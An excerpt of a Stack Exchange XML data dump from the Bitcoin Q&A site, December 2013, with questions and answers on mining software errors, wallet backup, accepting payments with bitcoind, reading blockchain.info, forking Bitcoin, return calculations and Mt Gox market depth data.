  <row Id="19269" PostTypeId="1" CreationDate="2013-12-23T22:13:58.667" Score="2" ViewCount="5484" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtKfQ.png&quot; alt=&quot;heres a screen shot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get started mining with kiv's &lt;code&gt;GUIMiner&lt;/code&gt;. I started, and get this error message: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;ValueError: need more than 1 value to unpack&lt;/code&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How should I solve this?&lt;/p&gt;&#xA;" OwnerUserId="11295" LastEditorUserId="5406" LastEditDate="2016-04-24T12:36:09.187" LastActivityDate="2016-04-24T12:36:09.187" Title="GUIMiner gives &quot;ValueError: need more than 1 value to unpack&quot;" Tags="|miner-configuration|guiminer|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19270" PostTypeId="2" ParentId="18228" CreationDate="2013-12-23T22:15:34.030" Score="1" Body="&lt;p&gt;With that much hash power, I believe you could be better off creating your own mini-pool and putting those computers in it. In theory, solo mining will always give you more coins in the long term for pools always take a fee for their services. In practice, of course, you could be mining for years without ever finding a block, so it's more a matter of how much you can wait to see a return on your costs and investment: more constant payments but less gain in the long term, or the inverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This formula can aproximate how much time on average would elapse before you found a block - it depended on the difficulty level of the network and your hashing power. Have a look at it and decide if you can wait that much weeks/months with no yield in order to gain more in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#How_soon_might_I_expect_to_generate_a_block.3F&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Difficulty#How_soon_might_I_expect_to_generate_a_block.3F&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-23T22:15:34.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19271" PostTypeId="1" AcceptedAnswerId="19299" CreationDate="2013-12-23T22:17:51.407" Score="5" ViewCount="195" Body="&lt;p&gt;I've heard discussion that if you have 51% of the network's hash power, you can effectively accept or reject any changes to the blockchain (and therefore create undeserved gain for yourself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever accomplished this? It's theoretically possible, but has it been done?&lt;/p&gt;&#xA;" OwnerUserId="11296" LastEditorUserId="5406" LastEditDate="2015-06-17T16:11:08.560" LastActivityDate="2015-06-17T16:11:44.170" Title="Has anyone ever gained control of the blockchain?" Tags="|majority-attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19272" PostTypeId="2" ParentId="1152" CreationDate="2013-12-23T22:25:38.950" Score="0" Body="&lt;p&gt;Added two cents. In excel VBA&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private Function Sha256String(ByVal a)&#xA;b = a&#xA;While Len(b) &amp;gt; 0&#xA;c = c + Right(b, 2)&#xA;b = Left(b, Len(b) - 2)&#xA;Wend&#xA;Sha256String = c&#xA;End Function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Run that on a and b hashes, concatenate them, double hash as hex bytes:&#xA;&lt;a href=&quot;http://www.fileformat.info/tool&quot; rel=&quot;nofollow&quot;&gt;http://www.fileformat.info/tool&lt;/a&gt;&#xA;Then run the function on the sha-256 answer.&lt;/p&gt;&#xA;" OwnerUserId="11298" LastEditorUserId="34808" LastEditDate="2016-05-02T20:27:38.990" LastActivityDate="2016-05-02T20:27:38.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19273" PostTypeId="2" ParentId="19271" CreationDate="2013-12-23T22:31:56.370" Score="2" Body="&lt;p&gt;This research done at Cornell seems to suggest it is easier than expected but doesn't speak to the fact that it has or hasn't been done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://arxiv.org/abs/1311.0243&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/abs/1311.0243&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11297" LastActivityDate="2013-12-23T22:31:56.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19274" PostTypeId="1" CreationDate="2013-12-23T22:37:19.380" Score="11" ViewCount="1070" Body="&lt;p&gt;I am trying to design a system that lets me accept Bitcoins on my website. I would like to use bitcoind, or bitcoinj. However, I have many questions regarding this setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI, I already read similar questions on this website and haven't gotten my answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoinj:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Seems tricky. I wasn't able to find any example code that works for me. Don't take it as a sign of incompetence or laziness on my end. The examples on their site didn't work properly because they renamed many of their classes and I can't get it to work. If you have a piece of code working with the latest version, please point me to that direction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How many addresses can bitcoind reasonably manage? Is it a good idea to create tons of addresses and have bitcoind watch all of them?&lt;/li&gt;&#xA;&lt;li&gt;How often should I 'flush' the wallet? It doesn't make sense to me to keep the same wallet all the time since that file will grow huge in time.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am planning on doing the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) User generates the address on my website, sends BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I start polling 'listunspent' every X minutes. When I see that the TX got N confirmations, I send the money to the cold storage. I also put money down on the sender's account on my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Now how do I get rid of this address? It sounds like these addresses will accumulate and break bitcoind after some point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have read a lot about this but nobody explains this aspect. They just revolve around the problem.&lt;/p&gt;&#xA;" OwnerUserId="11299" LastEditorUserId="11299" LastEditDate="2013-12-24T00:53:24.767" LastActivityDate="2014-08-01T16:04:46.603" Title="Accepting Bitcoin payments on my website using bitcoind? Many questions... no apparent answers" Tags="|wallet|bitcoind|bitcoinj|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19276" PostTypeId="1" CreationDate="2013-12-24T00:23:51.523" Score="3" ViewCount="1038" Body="&lt;p&gt;How big is the Bitcoin network in terms of total number of computers (peers, clients) that are connected together? Are there any network statistics or historical size data available?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastActivityDate="2014-04-07T11:08:37.647" Title="How big is the Bitcoin network?" Tags="|network|history|peers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19277" PostTypeId="2" ParentId="19200" CreationDate="2013-12-24T01:03:18.323" Score="0" Body="&lt;p&gt;If I had to write an article on Bitcoin, these would be the points I would include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is Bitcoin?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin essentially is a giant &lt;em&gt;public ledger&lt;/em&gt; of addresses and their balances. Users can send money to other users by ordering the network to take some of their balance and assign it to a recipient's address instead. The database is stored on many different computers all over the world and is kept synchronized by packing updates into &lt;em&gt;blocks&lt;/em&gt; of transactions transmitted over the network approximately every ten minutes. This also ensures that money can only be spent once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's new about that?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Much like giving cash to another person &lt;em&gt;payments are directly from one address to another without intermediaries&lt;/em&gt;. This makes it a much more private payment method than wire or credit card payments.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unlike current banking systems Bitcoin is of &lt;em&gt;global scope&lt;/em&gt; so that one can send money around the planet with the same effort as paying a person standing next to him. This could be huge for remittances sent back home by itinerant laborers and for international business deals. Today, banking makes it unreasonably hard to move money across borders: It is expensive, unreliable, and fees are often unpredictable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin uses cryptography to separate your secret that allows you to spend your money (your private key) from an order to spend your money (signed transaction). This is an improvement over credit card payments, where you reveal your name, credit card number and security code in order to make a payment. This means that it prevents many kinds of identity theft and fraud that are possible due to credit card payments.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Nobody can stop you from using it&lt;/em&gt;. The Bitcoin network is not centrally organized, so there is nobody that asks you for a credit check to open an account. Anyone, anywhere, anytime with Internet access can start using it. This is unlike payment services such as Pay-Pal which have a history of blocking user accounts for questionable reasons.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;The Bitcoin network pays for itself&lt;/em&gt;. The Bitcoin protocol follows a schedule that gives out rewards to users that contribute computing power to the network. The computing power is used to validate transactions and to secure the network from hostile take-overs. This doubles as the mechanism to dispense new bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What implications does that have?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin could be huge for internet commerce, because it is less traceable, less risky and cheaper than Credit Cards or Pay-Pal. It could be very beneficial for people that regularly have to send money abroad, because it is much faster, cheaper and more reliable than international wire-transfers. It is great for brick-and-mortar shops, because it is cash-less, but much faster and cheaper than Credit Card payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why don't we have it today?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is still an emerging technology, an experiment. There are some issues that remain unsolved such as its price swings and some technological issues with the scalability to cater to a much higher number of transactions. There are ongoing efforts to resolve the technological obstacles, and hopefully, the volatility will decrease with adoption.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-24T01:03:18.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19278" PostTypeId="1" AcceptedAnswerId="42299" CreationDate="2013-12-24T02:05:51.970" Score="4" ViewCount="13793" Body="&lt;p&gt;Ok so i've been using bitcoin for some time now, but i never figured out how to read the blockchain.info transaction data. Here's a sample of what I mean: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/2dj7tr&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://prntscr.com/2dj7tr&lt;/a&gt; --- &lt;a href=&quot;https://blockchain.info/address/1KnfCxy8XkNQu9pYpqEU1fxAELqRsYDbZK&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/address/1KnfCxy8XkNQu9pYpqEU1fxAELqRsYDbZK&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few questions that i have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are those bitcoin wallet addresses on the left and right column?&lt;/li&gt;&#xA;&lt;li&gt;What is the top address representing that starts with a 7 and every other address starts with a 1? Whats the difference?&lt;/li&gt;&#xA;&lt;li&gt;Can someone explain exactly whats going on here? I see 5 addresses that are pointing to the many other addresses on the right column. &lt;/li&gt;&#xA;&lt;li&gt;On the bottom it seems like it's a total of $1453, but if you add up all those addresses it clearly doesn't equal that. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSYFc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-01-13T19:37:32.140" Title="Can someone explain to me how do you read the blockchain.info transaction data?" Tags="|blockchain|blockchain.info|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19279" PostTypeId="1" AcceptedAnswerId="19284" CreationDate="2013-12-24T02:07:05.727" Score="1" ViewCount="623" Body="&lt;p&gt;I just installed and finally synced up litecoin-qt on ubuntu linux. But how do i backup this wallet and password protect it?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-04-23T08:50:18.277" Title="How do you export or save your wallet information for litecoin-qt on ubuntu linux?" Tags="|litecoin|litecoin-qt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19280" PostTypeId="2" ParentId="182" CreationDate="2013-12-24T02:16:07.543" Score="2" Body="&lt;p&gt;Like fiat money, the valuation of BitCoin stems from its changing share per unit of world GDP transacting in it -   the share of world economic activity expected to transact in BitCoin vs. the supply of BitCoin.  Consider what gives fiat money value: is it the “faith in and credit of” the issuing government or its quantity relationship to real GDP?&#xA;The CPI or purchasing power (valuation) of fiat money is clearly determined by its supply relationship to real GDP wherein excess money vs. production of goods and services determines the CPI.&#xA;Figure 1: U.S. M3/Real GDP vs. CPI 1981-2006 (latest date for M3 available data from Fed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The period of CPI trending above the ratio of M3/real GDP coincided with massive (in relation to GDP) increase in foreign investment in the U.S.  A broader measure would look at the world stock of dollars vs. world transactional share of GDP in dollars.  This can be done for gold during the pure world gold standard.&#xA;When gold was the money supply under the pure Gold Standard, and CPI was measured in relation to gold, the same determinant of the CPI held.   The world above ground gold stock/world real GDP vs. World CPI relationship demonstrates this in Figure 2.&#xA;Figure 2: World Gold Stock/World Real GDP vs. World CPI 1820 – 1913 Pure Gold Standard&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This article does not deal with the effects of political agendas as they may aid or impede transactions in BitCoin or technical issues relating to the security of either BitCoins themselves or the code generating them; but rather strictly with the economics of BitCoin valuation.  The former most certainly can in a moment remove large swaths of GDP from BitCoin transaction and thus move its price in relation to the share of GDP change – as China recently did.&#xA;The U.S. dollar, gold, and BitCoin are world media of exchange since, in fact, transactions are taking place denominated in each of these media globally.  The fundamental economic differences are that the growth rate of the stock of gold and BitCoin (the latter having a finite future maximum quantity) are less than the growth rate of world real GDP and are thus deflationary (inherently grow in purchasing power).  Some may question this assertion about gold in view of its historic price swings and may choose to read my Seeking Alpha articles on gold and published academic journal papers to see why.&#xA;BitCoin has a further economic distinction from both fiat money and gold: its global acceptance curve as a medium of exchange is just beginning.  Thus, its price is mostly a function of the share of world GDP accepting it in relation to supply.  Fait money and gold in contrast have reached acceptance maturity.   At a current market cap of $7.1 billion (see www.bitcoinwatch.com) and an estimated world GDP of about $88 trillion, its share of world GDP acceptance may be in the range of .000081.&#xA;A simple model of the potential value of BitCoin, other factors (which are crucial and beyond scope here) aside, may be built as shown below where if the world GDP acceptance share of BitCoin was 1%, its price per unit would be about $40,000 if its supply was also at its maximum 21 million units.  Of course, by the time the maximum is reached, world GDP is likely to be much greater and the transaction share may be greater.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there are other factors affecting the valuation of BitCoin, which factors also affect the price of gold, they are minor in relation to its global acceptance growth curve.  Those other factors include the real yield, fiat exchange rates, the expected world inflation rate and the cumulative world inflation rate.&#xA;Other digital currencies may affect BitCoin valuation to the extent they compete for world transactional acceptance by offering attributes such as superior technical, security and transactional ease features or compliance with regulatory requirements.&lt;/p&gt;&#xA;" OwnerUserId="11303" LastActivityDate="2013-12-24T02:16:07.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19281" PostTypeId="2" ParentId="19276" CreationDate="2013-12-24T03:34:43.537" Score="1" Body="&lt;p&gt;There is no definitive answer because the network changes as nodes connect and disconnect.  Blockchain.info maintains some statistics that might help you.  Try going &lt;a href=&quot;https://blockchain.info/nodes-globe?series=onlineNow&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt; to get a list of nodes that have connected recently.  This still won't tell you the total number of nodes in the network, but it gives you an idea.  They also maintain a list of nodes that have been contacted over the past 48 hours.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-24T03:34:43.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19282" PostTypeId="1" AcceptedAnswerId="19283" CreationDate="2013-12-24T03:34:44.643" Score="1" ViewCount="3590" Body="&lt;p&gt;This applies for when I mine anything (Litecoins, Dogecoin, etc.) I have a Radeon HD 6670 (mining @ 100 Mh/s according to cgminer) and it isn't overclocked or anything. Kind of puzzled as to why this is happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why I am not able to mine successfully?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cJ4zC.png&quot; alt=&quot;cgminer dogecoin&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11306" LastActivityDate="2014-03-16T06:33:01.280" Title="When mining, all my shares are rejected. Why am I not getting any accepted shares?" Tags="|litecoin|cgminer|mining-pool-shares|dogecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19283" PostTypeId="2" ParentId="19282" CreationDate="2013-12-24T03:52:08.180" Score="6" Body="&lt;p&gt;My guess is that you did not launch cgminer with the --scrypt option.  This is required to mine Litecoin, Dogecoin or any other scrypt coin. When mining scrypt coins that card should deliver ~100 Kh/s in your screen shot it shows Mh/s which would indicate that you are using SHA256 which is for Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2013-12-24T03:58:56.060" LastActivityDate="2013-12-24T03:58:56.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19284" PostTypeId="2" ParentId="19279" CreationDate="2013-12-24T05:10:29.780" Score="2" Body="&lt;pre&gt;&lt;code&gt;File -&amp;gt; Backup wallet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save your wallet file securely in at least two locations.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Settings -&amp;gt; Encrypt wallet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ensure that you use a secure password, backup after you encrypt your wallet file if there are no coins in it to ensure its security. &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-24T05:10:29.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19287" PostTypeId="1" CreationDate="2013-12-24T07:23:11.733" Score="39" ViewCount="69047" Body="&lt;p&gt;Is there any step-by-step tutorial about how to build own cryptocurrency based on Bitcoin code?&lt;/p&gt;&#xA;" OwnerUserId="4091" LastActivityDate="2022-02-27T16:18:03.827" Title="How to fork Bitcoin and build own cryptocurrency" Tags="|development|currencies|" AnswerCount="4" CommentCount="2" ClosedDate="2022-03-21T11:26:11.147" ContentLicense="CC BY-SA 3.0" />
  <row Id="19288" PostTypeId="2" ParentId="19287" CreationDate="2013-12-24T07:35:40.170" Score="25" Body="&lt;p&gt;To start a new chain, use a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=181981.0&quot; rel=&quot;noreferrer&quot;&gt;genesis generator&lt;/a&gt;, apply the new genesis to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp#L103-141&quot; rel=&quot;noreferrer&quot;&gt;the source&lt;/a&gt;, and remove the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/checkpoints.cpp&quot; rel=&quot;noreferrer&quot;&gt;checkpoints&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to apply new/different rules, be prepared for a difficult task.  Changing even the slightest protocol rule will most likely affect all other rules because of the complexity of PoW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the only thing you want to alter is the maximum coins, this should be relatively easy to alter in the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/6c9f1b8c24052134413b1a7d7d0599339daffc32/src/main.cpp#L1689&quot; rel=&quot;noreferrer&quot;&gt;source&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="2306" LastEditDate="2016-08-28T18:34:32.667" LastActivityDate="2016-08-28T18:34:32.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19289" PostTypeId="2" ParentId="19060" CreationDate="2013-12-24T07:54:50.983" Score="2" Body="&lt;p&gt;I will assume that the base currency is &lt;code&gt;C1&lt;/code&gt; since that is the initial balance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Day 1: 1 C1&#xA;Day 2: sell 1 C1 for 10 C2, no change in price, so 0% gain, still 1 C1&#xA;Day 3: price falls to 1 C1: 1 C2, so 900% gain, sell 10 C2 for 10 C1&#xA;Day 4: sell 10 C1 for 1,000 C2, no change in price, so 0% gain, still 10 C1&#xA;Day 5: price rises to 200 C1: 1 C2 from 100 C1: 1 C2, sell 1,000 C2 for 5 C1, so 50% loss, now 5 C1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To sum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0% gain by 900% gain by 0% gain by 50% loss&#xA;= 1 * 10 * 1 * 0.5&#xA;= 5&#xA;= 400% overall gain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can provide more detail if needed, but a base currency must be selected.  The price only needs to be taken into account if there is a position still open; in other words, the price should be applied in this case if you still own something other than C1, the base currency.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all positions are closed out before accounting for gains, only the trades need to be used to calculate the rate of return.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The simple formula for measuring relative prices is &lt;code&gt;x_final/x_initial&lt;/code&gt;, and the change/return/yield is &lt;code&gt;x_final/x_initial-1&lt;/code&gt;, with gain &gt;= 0% and loss &amp;lt;= 0%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directly applying this formula to the trades, denominated in &lt;code&gt;C1&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(10 C2/1 C1) * (10 C1/10 C2) = 10&#xA;(1000 C2/10 C1) * (5 C1/1000 C2) = 0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The overall relative prices is &lt;code&gt;5&lt;/code&gt;, expressed in percent is &lt;code&gt;400%&lt;/code&gt; because the percentage gain of &lt;code&gt;5&lt;/code&gt; is &lt;code&gt;(5-1)*100%&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If there is an open position, to account for change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(# of C1 paid/# of C2 received) * (current price expressed as quotient of C2/C1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Arithmetic vs geometric returns&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reread the final portion of your question.  First, the calculations are incorrect, so you should follow my example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, one cannot add returns, the total arithmetic return.  They must be calculated geometrically, and that is why the each &lt;code&gt;final/initial&lt;/code&gt; should be multiplied.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2013-12-25T08:02:26.970" LastActivityDate="2013-12-25T08:02:26.970" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19290" PostTypeId="2" ParentId="19278" CreationDate="2013-12-24T08:29:02.797" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Bitcoin addresses on the left are valid addresses from wallet, someone has private key for them. Bitcoin addresses on the right can be any addresses, even addresses, that nobody has private keys for them (so bitcoins on them are unspendable).&lt;/li&gt;&#xA;&lt;li&gt;This is transaction id.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin transaction can have many addresses on the left and on the right. Bitcoins are moved from left addresses to right.&lt;/li&gt;&#xA;&lt;li&gt;You opened a page with specific address. $1453 means, that this address received $1453 with this transcation. If you open a page with this transaction directrly &lt;a href=&quot;https://blockchain.info/tx/7dd8efe094e11c890eea7dc65e9bc7fb44903ed3e9b856e854d7d31e247ea1f2&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/7dd8efe094e11c890eea7dc65e9bc7fb44903ed3e9b856e854d7d31e247ea1f2&lt;/a&gt; you can see total sum. If you sum up left part and substract sum of right part, you can calculate fee.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10411" LastEditorUserId="10411" LastEditDate="2013-12-24T08:34:29.067" LastActivityDate="2013-12-24T08:34:29.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19291" PostTypeId="1" AcceptedAnswerId="19420" CreationDate="2013-12-24T08:56:14.293" Score="1" ViewCount="281" Body="&lt;p&gt;On their wiki MtGox have pages for Pubnub API and Websocket API.&#xA;So when I connect to Websocket API - it just goes through Pubnub, or it's a different way to connect?&lt;/p&gt;&#xA;" OwnerUserId="11310" LastActivityDate="2013-12-26T20:06:34.593" Title="Is MtGox Pubnub API and Websocket API the same thing?" Tags="|mtgox|api|pubnub|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19292" PostTypeId="2" ParentId="19075" CreationDate="2013-12-24T09:33:30.743" Score="1" Body="&lt;p&gt;&lt;strong&gt;Mt Gox JSON Depth Data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Market depth is a snapshot of the currently open bid(buy offers) and ask(sell offers).&#xA;A definition from Investopedia: &lt;a href=&quot;http://www.investopedia.com/terms/d/depth-of-market.asp&quot; rel=&quot;nofollow&quot;&gt;Depth of Market&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time a new order enters Mt Gox's order book the real-time depth API broadcasts this to the end user. If you listen long enough to the Mt Gox's depth API you would be able to gain an almost accurate copy of Mt Gox's order book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Interpreting the Data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;volume&lt;/code&gt;: this is the amount of &lt;code&gt;item&lt;/code&gt; (BTC) that the depth at that &lt;code&gt;price&lt;/code&gt; in &lt;code&gt;currency&lt;/code&gt; (USD) has &lt;strong&gt;changed&lt;/strong&gt; by. This has been deprecated in favour of &lt;code&gt;volume_int&lt;/code&gt;. Basically it is the same thing except the &lt;code&gt;volume_int&lt;/code&gt; must be divided by 1E8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;price&lt;/code&gt;: the price point in &lt;code&gt;currency&lt;/code&gt; to which this depth record relates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;total_volume_int&lt;/code&gt;: since &lt;code&gt;volume&lt;/code&gt; / &lt;code&gt;volume_int&lt;/code&gt; are &lt;strong&gt;change&lt;/strong&gt; records &lt;code&gt;total_volume&lt;/code&gt; records how much is available at that price point. A zero value means that no more orders are at this price point. For most purposes &lt;code&gt;total_volume_int&lt;/code&gt; is the number you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How depth data relates to the charts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that the question refers to the &lt;a href=&quot;http://www.mtgoxlive.com/&quot; rel=&quot;nofollow&quot;&gt;live charts&lt;/a&gt;. That chart is built by forming points between price and the &lt;strong&gt;accumulated&lt;/strong&gt; depth working outwards from the market price. Then those points get connected. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bid orders of 10 @ $90, 10 @ $80 and 10 @ $70 the graph would show depth accumulation of: 30 @ $70, 20 @ $80 and 10 @ $90.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using the data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depth information is useful to determine just how much &quot;liquidity&quot; there is in the market. This indicates how much a &quot;large&quot; transaction will move the market price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A steep accumulated depth line indicates potential &quot;support&quot; on the bid side and &quot;resistance&quot; on the ask side. A steep chasm formed by both sides of the accumulated bid/ask depth indicates price stability while a spread out flat bowl indicates price sensitivity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(bid, ask, liquidity, support, resistance are stock trading terms -&gt; look them up on investopedia, it's a good resource)&lt;/p&gt;&#xA;" OwnerUserId="11311" LastEditorUserId="11311" LastEditDate="2013-12-28T17:00:59.590" LastActivityDate="2013-12-28T17:00:59.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
